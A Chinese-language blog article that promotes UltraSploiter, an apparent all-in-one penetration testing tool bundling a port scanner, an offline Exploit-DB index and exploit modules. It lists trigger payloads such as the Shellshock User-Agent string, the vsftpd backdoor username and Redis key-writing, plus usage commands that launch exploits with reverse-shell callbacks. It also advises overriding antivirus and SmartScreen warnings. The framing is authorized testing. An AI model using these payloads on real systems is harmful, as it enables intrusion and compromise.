首页 渗透工具 正文

UltraSploiter:集成端口扫描、Exploit-DB 与漏洞利用模块的一体化渗透测试工具

摘要

做一次完整的渗透测试,往往要在 nmap、searchsploit、msfconsole 之间来回切换:先用端口扫描器摸清目标开放了哪些服务,再翻漏洞库找对应的 Exploit,最后打开 Metasploit 配置参数、发起攻击。流程不复杂,但工具链的碎片化消耗了大量时间。今天要介绍的 **UltraSploiter,正是为解决这个痛点而生的开源安全工具——...

做一次完整的渗透测试,往往要在 nmap、searchsploit、msfconsole 之间来回切换:先用端口扫描器摸清目标开放了哪些服务,再翻漏洞库找对应的 Exploit,最后打开 Metasploit 配置参数、发起攻击。流程不复杂,但工具链的碎片化消耗了大量时间。今天要介绍的 **UltraSploiter,正是为解决这个痛点而生的开源安全工具——它将端口扫描器、完整的 Exploit-DB 索引和一组可直接运行的漏洞利用模块打包进单一二进制文件**,输入一个 IP,即可完成从扫描、匹配到利用的完整闭环。本文将从功能特性、技术优势、安装部署到实战用法,全面拆解这款新兴的渗透测试利器。

UltraSploiter 交互式菜单主界面截图

UltraSploiter 产品介绍:一个二进制文件里的完整渗透工作流

UltraSploiter 是一款用 Rust 编写的跨平台安全工具,支持 Linux、Windows 和 macOS。它的设计理念非常直接:把渗透测试前期最常用的三个环节——**端口扫描、漏洞检索、漏洞利用**——整合到一条命令背后,让操作者不再需要在多个工具之间复制粘贴 IP 和端口。

传统工具链与 UltraSploiter 的对应关系如下:

渗透测试任务 常规工具 UltraSploiter 等价命令
发现主机上的服务 nmap UltraSploiter scan <ip>
查找漏洞利用代码 searchsploit UltraSploiter search <kw>
发动漏洞攻击 msfconsole UltraSploiter exploit <ip> <module>

整个工具没有安装步骤、没有运行时依赖,下载即可运行。对于需要在客户内网、临时评估环境或应急演练现场快速开展工作的安全人员来说,这种"单文件、零依赖"的形态意味着可以随时拷进 U 盘带走。

核心功能:扫描、检索、利用三位一体

1. 异步高速端口扫描

扫描功能基于 tokio 异步运行时构建,每个 -T 时序级别对应不同的并发 socket 数量(-T5 下最多可同时发起 8000 个连接)。实测中,扫完 nmap top-1000 端口只需几秒钟。每一次"开放"判定都建立在完整的 TCP 三次握手之上,结果精确可靠。扫描结束后还会自动拉取 HTTP 标题(类似 nmap 的 http-title 脚本),并基于 Banner 信息给出操作系统猜测。

目标既可以是单个 IP 或主机名,也支持 CIDR 网段(如 10.0.0.0/24)、IP 区间(如 10.0.0.1-50)以及逗号分隔的列表。多目标扫描时会先做一次快速 TCP 主机发现,只扫描存活主机——一个 /24 网段的 top-1000 扫描从"分钟级"压缩到了"秒级"。

2. 内置 47000+ 条 Exploit-DB 完整索引

search 和 info 命令背后是与 searchsploit 完全相同的 Exploit-DB 数据集,超过 47000 条记录直接打包进二进制文件,离线也能检索。search 支持 -n <count> 控制返回条数,并可用 --type、--platform 过滤;show <id> 会直接打印指定 Exploit-DB 编号的 PoC 源码,并缓存到 ~/.ultrasploiter/pocs,重复查看无需联网。

当一个条目带有某个可运行模块已实现的 CVE 时,info 会自动把两者关联起来:

$ UltraSploiter info 17491
Exploit-DB 17491
  description  vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
  codes        OSVDB-73573;CVE-2011-2523

  [runnable] vsftpd_234
  UltraSploiter exploit <ip> vsftpd_234

此外,search 还离线覆盖了 7000 个 Metasploit 模块的元数据(名称、CVE、评级、平台、端口),info exploit/windows/smb/ms17_010_eternalblue 可查看详情,配合本机安装的 Metasploit 可直接运行。

3. 37 个开箱即用的漏洞利用模块

UltraSploiter 原生实现了 37 个经典漏洞利用模块,覆盖从老式服务后门到近年 Web 框架 RCE 的广泛场景。每个模块都实现了非破坏性的 check() 和 run(),先验证再动手,最大限度降低误伤风险:

模块 CVE 触发方式
vsftpd_234 CVE-2011-2523 :)用户名触发,6200 端口返回 root bind shell
unrealircd_backdoor CVE-2010-2075 通过 IRC 发送 AB; <cmd>
distcc_exec CVE-2004-2687 DIST 协议编译器参数注入
proftpd_modcopy CVE-2015-3306 SITE CPFR/CPTO文件复制
redis_unauth — CONFIG SET写入密钥或 cron 条目
shellshock CVE-2014-6271 User-Agent: () { :; }; <cmd>
struts2_5638 CVE-2017-5638 Content-Type 中的 OGNL 表达式
tomcat_put CVE-2017-12615 PUT 上传 JSP Webshell
tomcat_manager — 通过 /manager部署 WAR 包
elasticsearch_groovy CVE-2015-1427 _search中的 Groovy RCE
drupalgeddon2 CVE-2018-7600 Form API 渲染回调
phpunit_eval CVE-2017-9841 eval-stdin.php
jenkins_script CVE-2019-1003000 未认证的 /scriptGroovy 执行
solr_rce CVE-2019-17558 stream.body中的 Velocity 模板注入
grafana_lfi CVE-2021-43798 插件路径遍历读取文件
webmin_backdoor CVE-2019-15107 password_change.cgi将值管道传入 shell
php_cgi_arg_injection CVE-2012-1823 通过查询字符串注入 -d auto_prepend_file

反弹 shell 模块还支持会话管理:连接成功的 shell 会注册为会话,可随时查看、切入、后台或关闭,不会抢占当前终端。

4. 数据驱动的目录模块(Catalog)

对于 F5、Citrix、Fortinet、vBulletin 这类以 HTTP 请求模式为主的漏洞,UltraSploiter 采用了一个数据驱动的目录引擎——漏洞逻辑以 JSON 配方形式存放在 data/catalog.json 中,新增一个模块只需约 8 行数据,无需编写新的源代码:

模块 ID CVE 说明
CAT-F5-TMUI-LFI CVE-2020-5902 F5 BIG-IP TMUI 文件读取
CAT-F5-ICONTROL-BASH CVE-2021-22986 F5 iControl REST 未认证 RCE
CAT-F5-ICONTROL-2022-1388 CVE-2022-1388 F5 iControl 认证绕过 RCE
CAT-PULSE-SECURE-LFI CVE-2019-11510 Pulse Secure VPN 文件读取
CAT-CITRIX-2019-19781 CVE-2019-19781 Citrix ADC 文件读取
CAT-APACHE-2449/-RCE CVE-2021-41773 Apache 2.4.49 路径遍历 / mod_cgi RCE
CAT-APACHE-2450/-RCE CVE-2021-42013 Apache 2.4.50 路径遍历 / mod_cgi RCE
CAT-VBULLETIN-2019-16759 CVE-2019-16759 vBulletin widget_phpRCE
CAT-VBULLETIN-2020-17496 CVE-2020-17496 vBulletin 嵌套 widget RCE
CAT-NEXUS3-LFI CVE-2024-4956 Nexus Repository 3 路径遍历
CAT-FORTINET-FGTLANG CVE-2018-13379 Fortinet SSL-VPN 会话文件读取
CAT-PHPMYADMIN-LFI CVE-2018-12613 phpMyAdmin 本地文件包含
CAT-MINIO-INFO CVE-2023-28432 MinIO 环境变量/凭据泄露
CAT-SPRING-ACTUATOR-ENV — Spring Boot Actuator 配置泄露
CAT-DOCKER-API — 开放的 Docker Engine API
CAT-KUBELET-PODS — 匿名 kubelet Pod 列表
CAT-ETCD-KEYS — 未认证的 etcd 键值存储
CAT-HADOOP-WEBHDFS — 未认证的 WebHDFS 目录列表

目录引擎负责处理方法、头部、正文、{cmd} / {file} / {lhost} / {lport} 占位符替换、路径感知的 URL 编码(遍历时斜杠保持字面量,表单正文完整编码,JSON 保持原始)、成功标记判定、反弹 shell 处理,以及通过 curl 实现 HTTPS——因此 443/8443 端口的配方不需要在二进制中引入 TLS 依赖即可工作。

5. Metasploit 桥接

如果本机已安装 Metasploit,msf 子命令会直通转发,在同一界面调用 Metasploit 的完整模块集:

UltraSploiter msf search eternalblue
UltraSploiter msf run exploit/windows/smb/ms17_010_eternalblue -o RHOSTS=10.0.0.5 -o LHOST=10.0.0.1

原生模块不依赖 Metasploit 即可独立工作,两者可以按需混用。

技术优势:为什么它值得关注

  • 单文件分发,零依赖运行:一个自包含二进制覆盖扫描、检索、利用全流程,不需要 Python 环境、不需要数据库、不需要安装框架。
  • Rust 异步架构带来的速度:基于 tokio 的扫描器把并发 socket 推到 8000 个,完整 TCP 握手保证结果精确,兼顾速度与准确性。
  • 离线可用的漏洞知识库:47000+ Exploit-DB 条目和 7000 个 Metasploit 模块元数据全部打包进二进制,断网环境下依然能完成漏洞检索与匹配。
  • check/run 分离的安全设计:每个原生模块都提供非破坏性 check(),目录配方也有成功标记判定,先验证漏洞存在再执行利用,减少评估过程中的意外影响。
  • 数据驱动的可扩展性:Web 类漏洞以 JSON 配方声明,新增模块成本极低;Rust 模块则通过实现 Exploit trait(check、run)并在 src/modules/mod.rs 的 build() 中注册,同时在 data/exploits.json 补充对应条目即可。
  • 免杀友好的 HTTPS 方案:443 端口的请求经由系统自带的 curl 完成,二进制无需捆绑 TLS 栈,体积和误报面都得到控制。

安装与部署教程

下载预编译二进制(推荐)

最简单的方式是直接从 Releases 页面 下载对应平台的预编译文件,无需安装、无需依赖:

  • Windows:下载 UltraSploiter-windows-x86_64.exe,双击运行
  • Linux:下载 UltraSploiter-linux-x86_64
  • macOS:暂无预编译二进制,可用一条命令从源码构建(见下文)

提醒:安全工具普遍会被杀毒软件标记。Windows SmartScreen 和杀软很可能会警告或隔离该二进制——点击"更多信息 → 仍要运行",若打算长期使用可添加排除项。

Windows 启动:双击 UltraSploiter.exe 即可打开菜单。若 SmartScreen 提示"未知发布者"(未签名二进制都会如此),点击"更多信息 → 仍要运行"。

Linux 启动:

chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64

macOS 启动:

chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64

若 Gatekeeper 阻止运行(未签名应用常见情况),右键选择"打开",或一次性清除隔离标记:

xattr -d com.apple.quarantine UltraSploiter-macos-arm64

从源码构建

仅在平台没有预编译二进制或需要修改代码时才需要,要求 Rust 1.74+。

Linux:

sudo apt install build-essential    # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh                          # -> ./UltraSploiter

macOS:

xcode-select --install              # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh                          # -> ./UltraSploiter

Windows:

git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1                         # -> UltraSploiter.exe

build.ps1 使用 stable-x86_64-pc-windows-gnu 工具链,通过 MinGW 链接——无需安装 Visual Studio 或 MSVC,工具链缺失时会自动安装。若本机已有 MSVC Build Tools,直接运行 cargo build --release 也可以。

Windows + GNU 注意事项:windows-sys(由 tokio 引入)会调用 dlltool,而 dlltool 又依赖汇编器 as——但 rust-mingw 组件并不包含 as。build.ps1 会在 %~dp0tools\mingw64\bin 和 %USERPROFILE%\tools\mingw64\bin 中查找包含 as 的 MinGW bin 目录,找到后会将其加入 PATH 最前。若遇到 error calling dlltool,把 winlibs 构建放到上述目录即可。MSVC 工具链不受此问题影响。

UltraSploiter 使用方式与命令详解

不带参数运行会显示交互式菜单:

   1)  Scan a target           find open ports and services
   2)  Search exploits         keyword lookup
   3)  List runnable modules
   4)  Run an exploit          pick a target and a module
   5)  Console                 advanced msf-style commands
   0)  Exit

命令行速查

UltraSploiter scan 10.0.0.5                      # top 1000 端口 + 指纹 + 建议
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4        # 指定端口范围,快速时序
UltraSploiter scan 10.0.0.5 -p -                 # 全部 65535 端口
UltraSploiter scan 10.0.0.5 -sU                  # UDP 扫描
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491                          # 打印指定 Exploit-DB 编号的 PoC 源码
UltraSploiter modules
UltraSploiter msf search smb                      # 桥接 Metasploit(需本机已安装)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console

在 Linux/macOS 上需要加 ./ 前缀(例如 ./UltraSploiter scan 10.0.0.5)。

扫描参数说明

参数 含义
-p <spec> 端口规格:top(1000)、80,443、1-1024、-(全部)
-T0..-T5 时序模板,从更慢/更安静到更快/更嘈杂
-sU UDP 探测扫描
-sV 服务/版本检测(默认开启)
--no-banner 跳过 Banner 抓取
--json 以 JSON 格式输出到 stdout
-oX <file> 输出 nmap 风格 XML

利用模块选项(-o key=value)

键 适用模块 含义
lhost、lport 反弹 shell 模块 回调地址
rport Web 模块 覆盖 HTTP 端口
path shellshock、struts、phpunit 端点路径
user、pass tomcat_manager 管理器凭据
core solr_rce Solr core 名称
file grafana_lfi 要读取的文件
ssh_pubkey redis_unauth 写入 authorized_keys 的密钥
src、dst proftpd_modcopy 复制源/目标
timeout 全部模块 socket 超时秒数

使用注意事项

  • HTTPS 配方通过 curl 运行,Windows 10+、Linux 和 macOS 均自带 curl,443/8443 模块无需在二进制中引入 TLS 栈即可工作;若系统缺少 curl,请先安装。
  • -sU 默认探测 data/top_udp.txt 中的精选 UDP 端口列表,传入 -p 可指定自定义端口。
  • 反弹 shell 模块在操作端绑定 lhost:lport,务必确保目标主机能够访问该地址。

典型应用场景

  • 授权渗透测试与红队演练:面对大量内网主机时,先用 scan 秒级完成资产探测,再根据服务指纹直接 search 匹配利用模块,--check 安全验证后一键 exploit,把打点速度从小时级压到分钟级。
  • 攻防演练与靶机复盘:内置的 37 个原生模块覆盖了 Metasploitable 类靶机、CTF 比赛中的绝大多数经典漏洞(vsftpd 后门、Shellshock、Drupalgeddon2、Struts2 等),配合离线 Exploit-DB 索引,断网环境也能顺畅做题。
  • 安全设备与中间件应急排查:目录模块中的 F5、Citrix、Fortinet、Pulse Secure 等配方,适合在漏洞爆发初期对内网设备进行批量、低影响的受影响面确认。
  • 云原生环境基线检查:CAT-DOCKER-API、CAT-KUBELET-PODS、CAT-ETCD-KEYS、CAT-HADOOP-WEBHDFS 等配方可快速发现 Docker API 未授权、kubelet 匿名访问、etcd 未认证暴露等常见云原生配置缺陷。

总结

UltraSploiter 的价值不在于替代 nmap 或 Metasploit,而在于把渗透测试前期"扫描 → 检索 → 验证 → 利用"这条高频链路压缩进一条命令。单一二进制、零依赖、离线漏洞库、异步高速扫描、37 个可运行模块加上数据驱动的目录引擎,让它既能胜任应急演练中的快速打点,也适合作为日常授权渗透测试的轻量主力工具。如果你已经厌倦了在多个工具窗口之间来回切换,不妨现在就去项目主页下载试用。

收藏 0
评论
博主关闭了评论
友情链接